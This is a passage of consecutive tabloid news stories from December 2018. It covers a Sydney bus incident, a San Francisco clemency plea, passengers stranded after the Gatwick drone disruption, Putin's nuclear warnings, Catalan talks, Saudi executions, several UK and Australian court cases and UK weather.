bus, which was transporting 18 passengers, narrowly avoided colliding with an oncoming truck as it veered across at a busy intersection on Bay Street, Ramsgate in Sydney's south at 3pm on Wednesday. The driver made the reckless move at one of the suburbs busiest, most congested intersections and risked hitting pedestrians, including a mother with a pram and a hoard of school children who had just finished school. The bus, (pictured) which was transporting 18 passengers, narrowly avoided colliding with an oncoming truck as it veered across at a busy intersection on Bay Street, Ramsgate The driver made the reckless move at one of the suburbs busiest intersections and risked hitting pedestrians, including a mother with a pram and a hoard of school children Police and the NSW Transport Minister are furious, saying lives were put at risk. 'In a built-up area, a bus going down the wrong way poses significant risks, not only to other road users but also to any passengers that are on board the bus,' NSW Police's Phil Brooks told 7 News. The bus was running on time when the driver decided to make the illegal move. Police visited the driver's Tempe depot, deciding to book him for negligent driving after an extensive interview. The driver has lost three demerit points and was fined $450. He's also been suspended by the bus contractor but NSW Transport Minister Andrew Constance is still not satisified. 'That driver should quite frankly go and walk the plank,' Mr Constance to 7 News. The driver, a 36-year-old male, has been a bus driver for six years and said that he had simply made a mistake. Napoleon Brown (pictured) was convicted of manslaughter after pushing 25-year-old Lenties White from a getaway car on the Golden Gate Bridge The mayor of San Francisco has asked a departing governor to commute her brother's jail sentence for manslaughter. London Breed, who became the city's first black female mayor when she was appointed earlier this year, asked Gov. Jerry Brown in late October to consider intervening to secure the release of her older brother Napoleon Brown. Mr Brown was convicted of manslaughter and sentenced to 44 years in jail after pushing 25-year-old Lenties White from a getaway car on the Golden Gate Bridge after an armed robbery in June 2000. According to the San Francisco Chronicle, sister London joined other members of her family to petition Gov. Brown for his release - 20 years before the end of Napoleon's sentence. 'Too many people, particularly young black men like my brother was when he was convicted, are not given an opportunity to become contributing members of society after they have served time in prison,' she wrote in an October letter to the governor. London Breed (pictured), who became the first black female mayor of San Francisco when she was voted in earlier this year, is trying to get her older brother's sentence commuted Courtesy of KRON4 'Although I don't believe the 44-year sentence was fair, I make no excuses for him,' Breed wrote. 'His decisions, his actions, led him to the place he finds himself now. Still, I ask that you consider mercy, and rehabilitation.' Napoleon Brown has served less than half of his 44-year-sentence for White's death and the robbery of a Johnny Rockets restaurant on Chestnut Street in San Francisco. White was killed after colliding with an oncoming drunk driver having been pushed out of the getaway car by Brown. 'I am very sorry for all the people I hurt with my crimes 18 years ago,' Napoleon Brown wrote in his letter to the governor, in which he details his efforts toward self-improvement while in prison. Breed and other family members sent a letter to Gov. Jerry Brown (pictured) in October this year Though he blames his 'crimes and bad behaviors' on addiction, he wrote, 'I still take full and complete responsibility for all my actions.' And he asks for the opportunity to re-establish a relationship with his children. A spokesman for the governor, Brian Ferguson, on Wednesday told Fox News by email: 'Our office does not comment on individual cases/applications. We can certainly keep you posted of any future commutation decisions we announce.' Sandra McNeil, the mother of the victim, said Brown does not deserve early release. 'I don't think it would be justice,' she said. 'She's the mayor, so she's got a little power, so she thinks she can get her brother out.' Passengers caught up in the Gatwick chaos became so irate at being stuck on the ground for four hours at Stansted that one allegedly opened the door before another claimed he was a terrorist. Travelers claimed it was 'pure hell' on the Tarmac at Stansted after landing at 10.15pm last night, with some shouting at other travellers and being abusive to staff. They were not allowed off the plane because there was hope the airline would be able to re-route to Gatwick if the ban on planes landing there had been lifted. But a couple of passengers on flight TOM687 took matters into their own hands by trying various methods to get off, before police were called at 1.35pm. Just an hour later everyone was seen leaving the plane and put in taxis back to Gatwick. The six-and-a-half hour TUI Airways flight from Cape Verde to London Gatwick was diverted to Stansted due to disruption caused by drones over the Sussex airport. Having been stuck on the plane which landed at about 10.15pm last night for four hours, a man then allegedly opened the door and put everyone on board at risk. Another then said he was a terrorist and video footage showed two Essex Police officers coming on board to defuse the situation. No arrests were made. Police are pictured at Gatwick's police station roof today as they use equipment in the ongoing task to stop the drone unleashing chaos in Sussex One passenger, Lyndsey Clarke, from Southend-on-Sea, Essex, tweeted: 'So Gatwick is shut due to drones so our flight TOM687 has been diverted to Stansted. 'So far we've been stuck on our plane for four hours... a man has opened the plane door and put everyone at risk and then another guy says he's a terrorist. 'Living pure hell right now. The staff on flight TOM687 have been amazing but unfortunately they have been subject to so much abuse. Video footage showed two police officers coming on board to defuse the situation last night 'We all just want to get home. Several passengers on flight TOM687 just making this ordeal so awful, abusive to staff, shouting at other passengers. Police here now.' Later, she added that she finally off 'the plane of living hell', adding: 'Now to find a taxi back to Gatwick with a big bill - passengers trying to go together.' And at 5.30am, Ms Clarke tweeted a picture of her car, saying: 'Never been so happy to see our car. Back at Gatwick finally... eight hours later than our scheduled flight was due to arrive home at 9.30pm... just over an hour's drive home now.' After arriving home she tweeted: 'As for the terrorist... I have no words that someone thought it was OK to terrify an aircraft by saying he was a terrorist when in fact he was using it as an 'idea' to get them to let us off the plane, causing many of us to have panic attacks as we didn't know if he was real.' Another passenger, Ashley Pollitt, tweeted TUI to praise staff on the flight for being 'nothing but helpful and informing us regularly' about what was happening. Having been stuck on the plane which landed at about 10.15pm last night for four hours, a man then opened the door and put everyone on board at risk She added: 'I'm sensing you will get a lot of complaints off idiotic customers that put both passengers/staff in danger along with other throwing stupid statements around. 'I just wanted to say your staff from the captain to the cabin crew were nothing but professional and informative.' TUI replied, saying: 'Sorry to hear that your flight has had to be diverted Ashley, I can imagine this has been an inconvenience. It's great to read however that our staff have been helpful in keeping you informed during this time.' It then added: 'Thanks so much for sharing your experience with us Ashley. We'll be sure to pass on your kind words to the crew of TOM687.' An Essex Police spokesman told MailOnline: 'We were called shortly after 1.35am on Thursday, December 20 to reports a passenger was being disruptive. The TUI flight from Cape Verde to London Gatwick (pictured) was diverted to Stansted 'We attended and spoke to the parties involved. No offences were identified and words of advice were given to the male passenger.' A TUI UK spokesman said: 'We would like to apologise to customers travelling on TOM687 which was diverted to London Stansted due to the London Gatwick drone disruption. 'While the aircraft was held on stand, our captain made the decision to call police to the aircraft due to a customers disruptive behaviour. We operate a zero tolerance policy on aggressive and abusive behaviour on board our flights. 'The safety and security of all our customers and crew remains our number one priority and we are doing everything possible to minimise the disruption for our customers during this time.' Stansted Airport declined to comment. ** Caught up in the Gatwick chaos? Please email: s.murphy-bates@mailonline.co.uk or tips@dailymail.com ** Vladimir Putin has warned of 'the end of civilization' if the US lowers its threshold for using nuclear weapons. US nuclear weapons policy justifies their use in 'extreme circumstances' such as a nuclear attack on the US or an ally. But this year the Pentagon completed initial draft plans for several emerging low-yield sea-launched nuclear weapons, raising fears they may be used as standard weapons in battle. Putin fears this will lower the threshold for using weapons of mass destruction and could lead to disaster. Vladimir Putin has warned of 'the end of civilization' if the US lowers its threshold for using nuclear weapons Speaking at his annual news conference in Moscow on Thursday, he said: 'They want to make small-scale nuclear weapons in order to use them tactically. But lowering the threshold might lead to a global nuclear catastrophe.' Putin also said the US is pondering the use of non-nuclear ballistic missiles, saying such a missile could be mistaken for a nuclear-tipped one and trigger a global catastrophe. 'If, God forbid, something like that were to happen, it would lead to the end of all civilisation and maybe also the planet,' he said. Indirectly referencing Donald Trump's administration, he added: 'These are serious questions and it's a real shame that there's a tendency to underestimate them.' In 2021, a treaty between the US and Russia that reduces their nuclear arsenals will expire and there are currently no talks on re-signing it. Putin said: 'The international arms-control system is effectively breaking down now.' In an indirect question to Donald Trump, he added: 'Not interested? Don't need it? Well, alright then. We'll survive with that, we will ensure our security. We know how to do that.' Putin also pointed at the US intention to withdraw from the 1987 Intermediate-Range Nuclear Forces (INF) Treaty. Speaking at his annual news conference in Moscow on Thursday, Putin said: 'They want to make small-scale nuclear weapons in order to use them tactically. But lowering the threshold might lead to a global nuclear catastrophe' He said that if the US puts intermediate-range missiles in Europe, Russia will be forced to take countermeasures. '[The US] took another step, they left the (Intermediate-range Nuclear Forces) Treaty.' Putin said that by reacting to this by increasing defences, he is not trying to gain an advantage, but 'aiming to retain balance and to provide for our own safety.' Also in the session, Putin said Russia's relationship with Britain was deadlocked after the UK accused two Russian agents of poisoning double agent Sergei Skripal in Salisbury. 'I don't even have anything to say on this,' he said. 'It's good that he wasn't killed... Thank God, Skripal is alive.' 'This politicised, Russophobic approach - it's a reason, simply a reason to organise yet another attack on Russia. 'If there were no Skripals, they would have come up with something else, that's clear to me. There's only one goal: to constrain Russia's growth as a possible competitor, I can see no other goals.' He also said the Taliban should be taken into account at peace talks on Afghanistan because of the amount of territory they control. Putin said that Russia needed to beef up its military base in neighbouring Tajikistan due the situation in Afghanistan. A 12-year-old girl was raped by two men filming paedophile porn and forced to pose with an advert for their sick website after she was abducted in Russia. The child was bundled into a zip-up bag before being smuggled inside a flat in the Chkalovsky district of Yekaterinburg and savagely raped, police say. Alexander Shiryaev, 43, and Stanislav Golovanov, 34, are accused of raping the girl, who said the attacks lasted 'several hours' and were filmed. Afterwards she was ordered to hold up a sign advertising a paedophile website before being put back in the bag and dumped on a snowy roadside, it is alleged. This amounted to an attempt to kill her, believe detectives. Alexander Shiryaev (left), 43, and Stanislav Golovanov (right), 34, are accused of raping the 12-year-old girl, who said the attacks, in Yekaterinburg, lasted 'several hours' and were filmed The child was bundled into a zip-up bag (pictured) before being smuggled inside a flat in the Chkalovsky district of Yekaterinburg and savagely raped, police say Shiryaev (pictured) and Golovanov will additionally face a charge of attempted murder of the 12-year-old girl after her sex ordeal and of an unnamed woman Both men have been charged with abduction and rape. They are are also accused of separate sexual attacks on two other children - one girl and a boy - as they made vile films, it was revealed today. Shiryaev and Golovanov will additionally face a charge of attempted murder of the 12-year-old girl after her sex ordeal and of an unnamed woman. They were detained 13 months ago in a swoop by hundreds of police after the schoolgirl was kidnapped as she walked home from a music lesson in the late afternoon. After the attack, the suspects 'washed the girl thoroughly' in an attempt to remove forensic evidence of the appalling sexual attacks - but despite this specialists linked them both to the grotesque rapes, say police. The traumatised girl took several hours in freezing temperatures to free herself before flagging down a motorist who immediately called police. After investigating the case, Russian detectives have found two other underage victims of the alleged paedophile porn-making pair, according to the charges. The men were held after police issued identikit pictures of the suspects based on testimony from the girl The girl was raped in an apartment in the Chkalovsky district (pictured) of Yekaterinburg in Russia The 12-year-old girl was a student at a school in Yekaterinburg run by Shiryaev's (pictured) partner Olga Sesina. The teacher expressed 'deep shock' over the case After investigating the case, Russian detectives have found two other underage victims of the alleged paedophile porn-making pair, according to the charges. Pictured: Alexander Shiryaev If convicted the men face 'dozens of years' imprisonment. No further details were given of the other cases involving children. Pictured: Alexander Shiryaev Between 2012 and 2017 they committed sex crimes on a total of three children including the girl, 12, as they made films for distribution on the dark web, it is alleged. The men were also involved in armed assault in 2010 in which an adult woman was hurt, say the Russian Investigative Committee. They are charged with a string of offences including exploiting children to make pornographic material, rape and violent sexual actions against minors, kidnapping, armed assault and attempted murder. If convicted they face 'dozens of years' imprisonment. No further details were given of the other cases involving children. The cases now go to court in Yekaterinburg. The 12-year-old girl was a student at a school in Yekaterinburg run by Shiryaev's partner Olga Sesina. The teacher expressed 'deep shock' over the case. The men were held after police issued identikit pictures of the suspects based on testimony from the girl. Insiders in the Russian porn industry claimed that there is a black market for vile and illegal real-life paedophile kidnap and rape movies. These can be commissioned by wealthy buyers for which the makers are paid between 12,000 and 20,000. These are then broadcast on the dark web. The case was under the 'personal control' of the city police chief and head of the Investigative Committee, seen as a Russian equivalent of the FBI. Spain's prime minister and the president of the country's Catalonia region held a formal meeting Thursday while pro-independence demonstrators staged a rally outside. Pedro Sanchez flew to Barcelona, Catalonia's capital, to meet with the region's pro-secession president, Quim Torra. The regional leader called the meeting a 'summit' between the two governments, which the Spanish side rejected. Torra greeted Sanchez with a handshake in front of the Palau de Pedralbes that once housed Spanish royalty. They spoke briefly as they walked into the former palace belongs to the regional government. The meeting comes a year to the day after Madrid held snap elections in Catalonia to replace the government after blocking the wealthy northeastern region's move for independence and many separatists have called the timing of the meeting 'a provocation'. Members of the Catalan regional police force Mossos d'Esquadra stand opposite protesters blocking the Diagonal Avenue in Barcelona on December 20, 2018 Catalan pro-independence activists protest in front of the Palau de Pedralbes where is taking place the meeting between the Spanish Prime Minister, Pedro Sanchez, and the Catalan President, Quim Torra Prime Minister Sanchez (left) met with Catalonia's regional President Torra, who heads a pro-secession coalition and wants self-determination to be part of the talks Various pro-independence groups held protests in front of the palace and at a hotel where Sanchez was expected to attend a Catalan business forum later Thursday. Worker and student groups also called strikes for Friday, when the Spanish Cabinet at large holds its weekly meeting in Barcelona. Security in the prosperous northeastern region of 7.4 million residents, normally in the hands of the Catalan police, was reinforced with hundreds of anti-riot national police officers. The ministers' council normally takes place in Madrid, but Sanchez's center-left administration wanted to signal it has the right to conduct business anywhere on Spanish territory. Catalan pro-independence protesters shout slogans while blocking the Diagonal Avenue in Barcelona A protester holds a Catalan pro-independence Esteleda flag during a rally on December 20 2018 Catalan authorities are supporting the protests, but said they would ensure both Sanchez's right to hold the meeting and the right of citizens to protest. The run up to the meeting saw political maneuvers to dictate the terms of the talks and whether the loaded topic of Catalan independence would be on the agenda. Sanchez had said he wanted to focus on social and economic issues in Catalonia rather than on the region's divisive push for independence last year. Torra wanted Catalan self-determination to be on the agenda. The format of their meeting was not decided until hours before its start due to last-minute jockeying over the scope of the talks. Ultimately, it was agreed that the vice presidents of the central and regional governments, along with two other members of Sanchez and Torra's Cabinets, would hold a side meeting. Catalan pro-independence activists confront the police officers in front of the Sofia Hotel in Barcelona, where Spanish Prime Minister, Pedro Sanchez, and the Catalan President, Quim Torra, are to attend a dinner The meeting comes a year to the day after Madrid held snap elections in Catalonia after blocking the wealthy northeastern region's move for independence and many separatists have called the timing of the meeting 'a provocation' But hopes for solid results were dimmer than when the two leaders last met. Their talks in Madrid in early July were described as 'long, sincere and frank.' The difficulty agreeing on the form of the meeting lowered observers' expectations for progress. Opposition parties on the right also have accused Sanchez of wanting to appease Catalonia's separatists in exchange for their support for his national budget. Nine separatist leaders who were charged with rebellion and other offenses for their roles in a banned secession referendum and an illegal declaration of independence last year issued an open letter from prison urging Catalonia's people to take their grievances to the streets 'massively, with determination and peacefully.' Catalan pro-independence activists hold a banner reading 'We are and we will be ungovernable' Catalan pro-independence activists ask for the release of the Catalan political leaders in prison as they protest in front of the Sofia Hotel A man lights a flare as Catalan pro-independence protesters block the Diagonal Avenue in Barcelona Four of the imprisoned politicians said Thursday they were abandoning the prison hunger strike they started at the beginning of the month to call attention on what they considered unfair treatment by Spain's judiciary. Activist-turned-politician Jordi Sanchez and former Catalan Cabinet member Jordi Turull went without food for 19 days, and ex-regional ministers Josep Rull and Joaquim Forn for 17. Their spokeswoman, Pilar Calvo, said at a news conference the strike brought attention to the separatists' plight and prompted Spain's Constitutional Court to review some of their appeals. The four want to exhaust all their appeals in Spain so they can take their case to the European Court of Human Rights. The Constitutional Court had said the appeals were following the normal judicial calendar. On Thursday, it issued a new ruling, refusing to end Jordi Sanchez's preventive jailing and denying that the case could be compared to that of a Kurdish politician in Turkey. In Geneva, former Catalan President Carles Puigdemont, who has become one of the most prominent voices of the Catalan separatist movement, announced that he and five other Catalan politicians were filing a complaint to the U.N.'s Human Rights Committee because they consider that Spain violated their democratic rights as elected officials. Spain's Prime Minister Pedro Sanchez (left) and the president of the country's Catalonia region, Quim Torra talk at the start of a meeting in Barcelona Spain's Prime Minister Pedro Sanchez (left) waves meeting Catalonia's pro-independent president, Quim Torra on Thursday, Dec. 20, 2018 Puigdemont has fought off extradition to Spain after he fled to Belgium shortly after the secession attempt in 2017. He later won a seat in the Catalan parliament while campaigning from abroad but faces immediate arrest if he returns to Spain, where he is sought for rebellion. Referring to the volatility of the situation in Catalonia, Puigdemont told reporters that Catalonia's pro-independence movement 'doesn't have to show its commitment to non-violence' after one decade of massive peaceful demonstrations. The Saudi leader most likely to have ordered the killing of Jamal Khashoggi oversaw double the number of executions in Saudi Arabia when he came to power, according to new figures. The rate of people put to death spiked during the first eight months after Crown Prince Mohammed bin Salman came to power in June 2017. Human rights charity Reprieve said that between then and March 2018 there were 133 executions, compared to just 67 in the eight months preceding him. Among them were scores of migrants it claimed are typically forced to smuggle drugs in their stomachs. Saudi Crown Prince Mohammed Bin Salman in Algiers, Algeria, earlier this month; MbS told Time magazine he was trying to minimise executions, but they went up significantly in his first eight months in power The foreign workers, mostly from South Asia, were among nearly 150 executions in the desert kingdom during 2018. Reprieve says there have been nearly 700 executions in Saudi Arabia since 2014. This year there were about 13 a month, with 27 in July - including seven in a single day. Last month Saudi Arabia put to death an Indonesian domestic worker, Tuti Tursilawati, who killed her abusive Saudi employer, apparently to prevent him from raping her. The execution went ahead without either her family or the Indonesian government being informed. Campaigners singled out the seemingly blood-thirsty rule of MBS for criticism, pointing out that the 33-year-old ruler had claimed he would be getting rid of the death penalty for drugs offences when he took power. Ali al-Nimr (pictured) was just 17 years old when he was sentenced to death by crucifixion after the Arab Spring pro-democracy uprising According to human rights group Reprieve, Abdullah Hasan al-Zaher (pictured) was just 15 years old when he was arrested for allegedly participating in protests in Saudi Arabias Eastern Province and was sentenced to death in 2014, with the ruling being upheld in 2015 Weve tried to minimise executions, he told Time magazine. If a person kills a person, they have to be executed in our law. But there are a few areas that we can change it from execution to life in prison. But despite this pledge, the number of people executed for drugs has actually gone up. Reprieve Director Maya Foa said: Despite promises of reform from the Crown Prince, the Kingdom is executing drug offenders at an alarmingly high rate, and at least thirty people including some arrested as teenagers face imminent execution for exercising their democratic rights. Jamal Khashoggis murder exposed the brutality of Saudi Arabias rulers to the world. Now the Kingdom must be held to account for its use of the death penalty, as political prisoners and vulnerable economic migrants await the executioners blade. Abdullah Hasan al-Zaher (left) is alleged by Reprieve to have been tortured in prison, including beatings across the face with an iron rod which broke his nose and Ali al-Nimr (right) was sentenced while a teenager, was alleged to have sent messages on his blackberry including instructions on providing first aid to protesters Nearly 40% of those put to death in 2018 were convicted of drugs offences, and 77% of these were foreigners, who also made up half the number of people put to death. Reprieve said: These are typically poor migrant workers, coerced into smuggling drugs in their intestines. Last month the CIA concluded that MBS most likely ordered the murder of the Saudi dissident, Jamal Khashoggi, in October. The Washington Post journalist, who had criticised MBS reforms, was set upon by a hit squad when he arrived at the Saudi consulate in Istanbul to collect paperwork so he could get married. Reprieve said that only one person executed in 2018 was convicted in the Kingdoms Specialised Criminal Court, which deals with prosecutions for political crimes and terrorism. Dawood al-Marhoon (pictured) was arrested alongside Ali al-Nimr and also sentenced to death last month according to Reprieve Ali al-Nimr was sentenced to death for his pro-democracy protesting in the wake of the Arab Spring according to Reprieve But it claimed that at least 54 people are facing death sentences for opposing the regime, 30 of whom could be executed any day. Among these are Abbas al-Hassan, sentenced to death in 2016 on charges of treason, including spying for Iran, spreading the Shia faith and attending protests. Earlier this year a UN investigation said his trial did not meet fair trial and due process guarantees, and the charges were in contravention of the right to freedom of religion. Last month the death sentence on Abbas and 11 co-defendants, including two juveniles, was ratified by the king, meaning they can be out to death at any time. They included Ali Al-Nimr, who was convicted as a child and sentenced to death by crucifixion. Maya Foa said: His execution based apparently on the authorities dislike for his uncle, and his involvement in anti-government protests would violate international law and the most basic standards of decency. It must be stopped. A reckless driver who mowed down two people after coming around a bend with the sun in her eyes has been banned from driving for two years. Deborah Alana Millard was driving her partner's station wagon when she flew around the bend on Hardy Road in Perth's north and crashed into the pair. Teacher Carly Pinnock and a 68-year-old tradesman, who were inspecting damages to a car after a separate minor prang, were both knocked to the ground on impact. They had been looking at the car, which had been side-swiped by a previous passerby, according to Nine News. Millard argued that the crash was an accident and pleaded not guilty to two charges of dangerous driving. She told the court that she had been driving down the road for more than 30 years. But the magistrate disagreed with her reasoning, saying that if Millar had looked in her mirrors and slowed down the horrific crash could have been avoided. A 68-year-old tradesman and teacher Carly Pinnock were inspecting the damage to a utility vehicle when Deborah Alana Millar ploughed into them Ms Pinnock was sandwiched between the two cars on the car of the crash, leaving her in hospital for 15 weeks Ms Pinnock was sandwiched between the two cars during the crash. She spent the next 15 weeks in hospital, having nine operations over that time. Ms Pinnock is yet to return to work as a primary school teacher. Millar was fined $11,000 and banned from driving for two years. A teenage trespasser who ran onto Eurostar train tracks causing 1.3million in lost revenue before asking police, 'Will I be on the news?' has been jailed for a year. Joel Khonde caused what a judge described as 'absolute turmoil' to rail passengers as he fled a suspected burglary at his grandmother's home in Northfleet, Kent, on May 29 this year. With police hot on his tracks, the 19-year-old dashed onto the high speed line at nearby Ebbsfleet International station. Joel Khonde caused what a judge described as 'absolute turmoil' to rail passengers as he fled a suspected burglary at his grandmother's home in Northfleet, Kent, on May 29 this year. Pictured: A photo of the disruption at St Pancras on that day He then ran along the track before disappearing into a tunnel linking Kent to Essex and taking him under the River Thames. But a court heard it took almost four hours to apprehend him, reportedly with the assistance of a police helicopter. It was then a further hour before Eurostar and Southeastern high speed train services in and out of London's St Pancras International could be resumed. In that time the total economic loss had amounted to a staggering 1,260,205. This was made worst by floods and lightning that struck the same day. Maidstone Crown Court in Kent heard 70 journeys were delayed by a total of 3,718 minutes, with 10% of services cancelled. More than 1,000 passengers were stranded on trains for two hours, with those at St Pancras stuck for four hours and requiring the assistance of British Transport Police when rail staff were subjected to abuse. The financial impact to Southeastern in terms of repayment to 5,026 commuters who claimed through the 'Delay Repay' scheme was 47,890. The court heard that when he was eventually arrested Khonde, then aged 18, asked officers: 'Is it going to be on the news? I've stopped the Eurostar and everything.' But despite the major disruption caused and resulting financial bill, Judge Philip Statman said Khonde had already been sufficiently punished by being on remand since his arrest and serving the equivalent of 14 months' custody. The sentence he imposed yesterday meant the teenager, who admitted obstructing an engine or carriage by trespassing on railway tracks, was immediately released. Describing Khonde, who suffers from ADHD, as intelligent, Judge Statman said: 'The result of your obstruction was that substantial delays were caused. 'The rail system was in absolute turmoil....and you will appreciate no doubt that this makes the offence extremely serious. 'But I am satisfied that you did not set out to cause that level of disruption. Had I been of a different view the sentence would have had to reflect that and would have been very long indeed. 'You have been in custody for the equivalent of a 14-month sentence. What you have served already is sufficient punishment.' The court heard that when he was eventually arrested Khonde, then aged 18, asked officers: 'Is it going to be on the news? I've stopped the Eurostar and everything.' Pictured: File photo of a Eurostar train at St Pancras The court heard Khonde jumped onto the tracks at Ebbsfleet at 5pm, having telephoned an aunt to threaten he would 'burn out' his grandmother's home in nearby Bankside. He believed she had 'shopped him' to police for an unrelated matter. A train full of passengers was waiting to leave but when the teenager saw police he ran towards the Kent portal tunnel. Khonde, of Tottenham, north London, tried to climb a fence and threw stones at chasing officers before continuing into the tunnel on the London-bound track. He was finally arrested on the Essex side of the high speed line at 8.50pm. Many passengers took to social media to express their anger and frustration at the disruption, with commuter Mary Laws tweeting 'Today's delay is brought to you via a trespasser on the track at Ebbsfleet. 'They lost him in the tunnel so have dispatched the helicopter. I wish that was a joke. Genius' Khonde, who suffers from ADHD, was also charged with burglary and destroying property but was found not guilty during a trial in October. The teen was also cleared of destroying property but convicted of threatening to destroy property and theft, for which he received concurrent custodial sentences of eight months and one month respectively. Judge Statman instructed the authorities supervising Khonde's licence period to assist with his anger management and mental health problems. This is the dramatic moment a bungling 'drug-dealer' throws himself from a first-floor window and straight into the arms of police in a desperate attempt to escape. The incident, which was captured on a mobile phone, took place at a property in Portswood, Southampton on Wednesday. Footage of the bizarre scene was captured by local man Angus Dood, who had left his house as usual that morning only to come across police in the area. As one officer enters the property, a man can be seen readying himself to jump out the first floor window (left and right). He has to pause briefly (left) when the officer exits the home, before re-entering a short while later As soon as he senses the coast is clear, the man launches himself out of the first floor window and onto the ground below. A second man can be seen standing behind him in the window, but does not end up jumping The man is barely able to get to his feet before he is arrested by plain-clothed officers (pictured). The second man retreats inside the building, aware his escape route has been compromised The 38-year-old salesman said: 'I noticed a lot of men dressed in plain clothes at one house, but when I saw the battering ram I wondered what was going on. 'It was only when one turned around and he had police written across his back that I realised it must be a raid. Then I pulled out my phone to video the scene. 'After they rushed into the house, two men appeared at the window and one even started to climb out before an officer walked out the front door. 'What was funny was the officer didn't even look up or notice the pair, I could see it, but he couldn't. 'Then all of a sudden the coast was clear and one of the guys threw himself out, it was crazy.' In the shock footage, the man barely even gets to his feet before his tackled by five officers and arrested. Mr Dood said: 'I couldn't believe he jumped out of the window. It looked like it probably hurt a lot. 'It was quite brave of him, he must have done something quite bad if he was willing to throw himself from such a height. He was obviously just trying to get the hell out of there. 'The next thing I saw was all of the police bundle on top of him, it was over before it even began. 'It was kind of exciting, it's the first time I've ever seen anything like a raid. It was an interesting start to my day.' Angus Dood, a 38-year-old salesman, captured the incident on his mobile phone. He said: 'I couldn't believe he jumped out of the window. It looked like it probably hurt a lot' Kent Police arrested three men at the property as part of an investigation into an alleged conspiracy to supply class A drugs in Kent Kent Police, who were in charge of the operation, confirmed a number of arrests had been made at the property with the help of Hampshire Police officers. Steve Knight, a spokesman for the force said: 'Three men were arrested in Hampshire as part of an investigation into an alleged conspiracy to supply class A drugs in Kent. 'Two of the men were aged 24 and the third was 18. They were all transported to a police station in Kent where they remain in custody on suspicion of being concerned in the supply of class A drugs.' Detective Sergeant Kristian Eberlein of the Kent and Essex Serious Crime Directorate said: 'Drugs ruin lives and we do not tolerate those who cause misery to others by selling harmful substances on our streets. 'We will not hesitate to travel the length and breadth of the country to arrest those suspected of being involved in the supply of crack cocaine and heroin. 'Our eyes and ears are everywhere.' President Donald Trump took to Twitter Thursday to defend his sudden announcement to pull U.S. troops out of Syria and warned ISIS it was 'doomed!' if the terror group hit at the U.S. Trump issued the warning just hours after proclaiming 'we have defeated ISIS in Syria.' He also said Russian, Iranian, and Turkish forces who remain would continue to battle ISIS. Despite the president's claim the military assesses thousands of ISIS fighters remain. In a barrage of tweets Trump also said the U.S. was getting 'NOTHING' out of being in Syria, where last year the president ordered air strikes to respond to President Bashar al-Assad's use of chemical weapons. The president's pushback against critics comes after members of his own party blasted the sudden announcement he made Wednesday morning, disputed his claims that the U.S. had defeated ISIS, and warned regional powers Russia, Iran, and Turkey stood to gain at U.S. expense. 'Getting out of Syria was no surprise. Ive been campaigning on it for years, and six months ago, when I very publicly wanted to do it, I agreed to stay longer,' Trump wrote. 'Does the USA want to be the Policeman of the Middle East, getting NOTHING but spending precious lives and trillions of dollars protecting others who, in almost all cases, do not appreciate what we are doing?' Trump asked while defending his Syria pullout Thursday 'Russia, Iran, Syria & others are the local enemy of ISIS. We were doing there work. Time to come home & rebuild.' He completed his tweet on the withdrawal of U.S. forces with his '#MAGA' slogan and hashtag. Trump has called for getting out of Syria, including last spring, but his sudden Twitter announcement caught senior Pentagon officials off guard, along with senior lawmakers who are accustomed to getting briefed on major policy decisions and changes in the nation's strategic posture and who must be consulted when troops are deployed. The foreign ministry of Russia, a rival to U.S. interests in a number of troubled areas, praised the pullout decision, and Russia is proceeding to make its own presence there permanent. Russian President Vladimir Putin said Thursday the U.S. decision to pull out was 'correct' Trump declared victory in Syria over ISIS on Wednesday morning in a surprise announcement that the U.S. was pulling troops out of the region After declaring victory on Twitter, President Trump, who had no public schedule Wednesday, released a video from the White House where he said: 'We have beaten them and we've beaten them badly. We've taken back the land.' The president also wrote in a pair of tweets: 'Does the USA want to be the Policeman of the Middle East, getting NOTHING but spending precious lives and trillions of dollars protecting others who, in almost all cases, do not appreciate what we are doing? Do we want to be there forever? Time for others to finally fight....Russia, Iran, Syria & many others are not happy about the U.S. leaving, despite what the Fake News says, because now they will have to fight ISIS and others, who they hate, without us.' The Pentagon says 30,000 ISIS forces remain in Iraq and Syria, with 17,000 in Syria proper. President Trump defended his pullout in a series of tweets Trump said Russia and others are 'not happy' the U.S. was going He said his announcement, which caught senior military officials off guard, was 'no surprise' Trump quoted allies Sens. Mike Lee and Rand Paul This April 2, 2018 photo shows a general view of a US military base in the al-Asaliyah village, between the city of Aleppo and the northern town of Manbij. The United States is preparing to withdraw its troops from Syria, a major move that throws into question America's role in the region A U.S. Air Force munitions team member uncases the laser-guided tip for a 500 pound bomb to be loaded onto an unmanned aerial vehicle (UAV), for airstrikes on ISIL targets on January 8, 2016 at a base in the Persian Gulf Region Syrian Democratic Forces and U.S. troops are seen during a patrol near Turkish border in Hasakah, Syria November 4, 2018 GOP Rep. Adam Kinzinger disputed the president's claim that ISIS had been defeated 'I am building by far the most powerful military in the world. ISIS hits us they are doomed!' the president warned. Lawmakers slammed Trump's decision, although the president tweeted out support from Sen. Mike Lee of Utah. Senate Foreign Relations Chairman Bob Corker said Wednesday: 'It doesnt feel to me there was any inter-agency process, adding, 'Im not sure even the principles knew.' Corker suggested that Trump just 'woke up' and decided to make the policy announcement. Advertisement Parts of the Somerset Levels have flooded for the first time this year after the area was hit by a week's worth of rainfall in one day. The area covering 160,000 acres - which suffered devastating flooding in early 2014 that left villages cut off - remains under a swathe of flood alerts, with villages around rivers including the Brue, Yeo and Parret on watch. Further rain and strong winds are expected across South West England again tomorrow, although there is better news for the South East where temperatures could reach an unseasonably warm 15C (59F). The Somerset Levels, pictured today, have flooded for the first time this year around Langport and Muchelney Abbey The area covering 160,000 acres remains under a swathe of flood alerts, with many villages around rivers on watch Met Office forecaster Richard Miles told MailOnline of tomorrow: 'It's going to be mild at first - very changeable, sunshine and showers is the order of the day, mild particularly in the South. 'But there are some frosts likely in Scotland. Friday, particularly in the South West of England and Wales, some quite heavy rain and strong wind on Friday evening and night. 'The rest of the order of play is really showers, some sunny spells, quite strong winds particularly on the eastern side of the UK on Saturday, and then in the evening on Saturday, windy again in the South West. 'Then Sunday, kind of cloudier in the south, with more persistent rain, but in the North above the Humber increasingly bright, sunnier with light winds and a few showers.' Today could see scattered showers in many parts of the country (left), while tomorrow is looking like a mild day (right) The Somerset Levels is one of the areas on flood alert today, along with parts of Kent, Sussex and Gloucestershire Temperatures could hit 15C (59F) tomorrow, before making it to 13C (55F) on Saturday and 14C (57F) on Sunday. This will be well above the UK's average maximum of 6.7C (44.1F) and 7.2C (45F) for England at the time of year. How there will be no let up in the heat for 2019 Forecasters warn 2019 is expected to be one of the hottest years of all time. The Met Office estimates average global temperatures for 2019 will be 1.10C above pre-industrial levels, 